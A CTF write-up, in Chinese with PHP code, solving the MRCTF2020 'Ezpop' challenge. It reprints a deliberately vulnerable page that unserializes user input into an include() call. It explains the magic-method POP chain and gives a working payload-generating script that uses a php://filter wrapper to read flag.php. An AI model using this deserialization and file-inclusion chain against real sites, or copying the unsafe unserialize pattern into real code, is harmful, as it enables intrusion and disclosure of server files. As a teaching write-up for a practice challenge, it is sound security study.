MRCTF2020Ezpop

Welcome to index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}

class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}

public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}

}

class Test{
public $p;
public function __construct(){
$this->p = array();
}

public function __get($key){
$function = $this->p;
return $function();
}

}

if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}

Modifier这个类这边有高危函数include 通过构造链连接到这边
还有invoke这个魔术方法:
对象本身是不能够当做函数去使用的,一旦被当做函数使用,就会回调执行 _ _invoke()方法。

1
2
3
4
5
6
7
8
9
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}

test这个类这边就直接触发到invoke() 了 然后是触发这个_ _get()方法 _ _get()方法将在访问不存在的成员变量时触发
就能将$p-> $var
show这个类这边 这是pop链构造的开始

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}

public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}

}

根据以上题目,当用get方法传一个pop参数后,会自动调用Show类的 _ wakeup()魔术方法
_ wakeup()通过preg_match()将$this->source做字符串比较,如果$this->source是Show类,就调用了toString()方法;
如果 _ toString()其中str赋值为一个实例化的Test类,而且其类不含有source属性,所以会调用Test中的 _ get()方法。
如果_ get()中的p赋值为Modifier类,那么相当于Modifier类被当作函数处理,所以会调用Modifier类中的 _ invoke()方法。
利用文件包含漏洞,使用_invoke()读取flag.php的内容
Modifier::_ invoke()<–Test:: _get()<–show::__toString()
反序列化一个Show($a) 就能调用wakeup $a 会被赋值给source ,让$a是一个实例化的Show类就能调用toString
让$a的show类str赋值为Test类 最后让str这个Test类的p赋值为Modifier类

构造如下序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
class Modifier {
protected $var='php://filter/read=convert.base64-encode/resource=flag.php' ;

}

class Show{
public $source;
public $str;
public function __construct($file){
$this->source = $file;
}
public function __toString(){
return "asdasd";
}
}

class Test{
public $p;
}

$a = new Show('aaa');
$a->str = new Test();
$a->str->p = new Modifier();
$b = new Show($a);
echo urlencode(serialize($b));
?>

这边urlencode没有这个不知道为什么无回显

然后base64解码就好了

65.PNG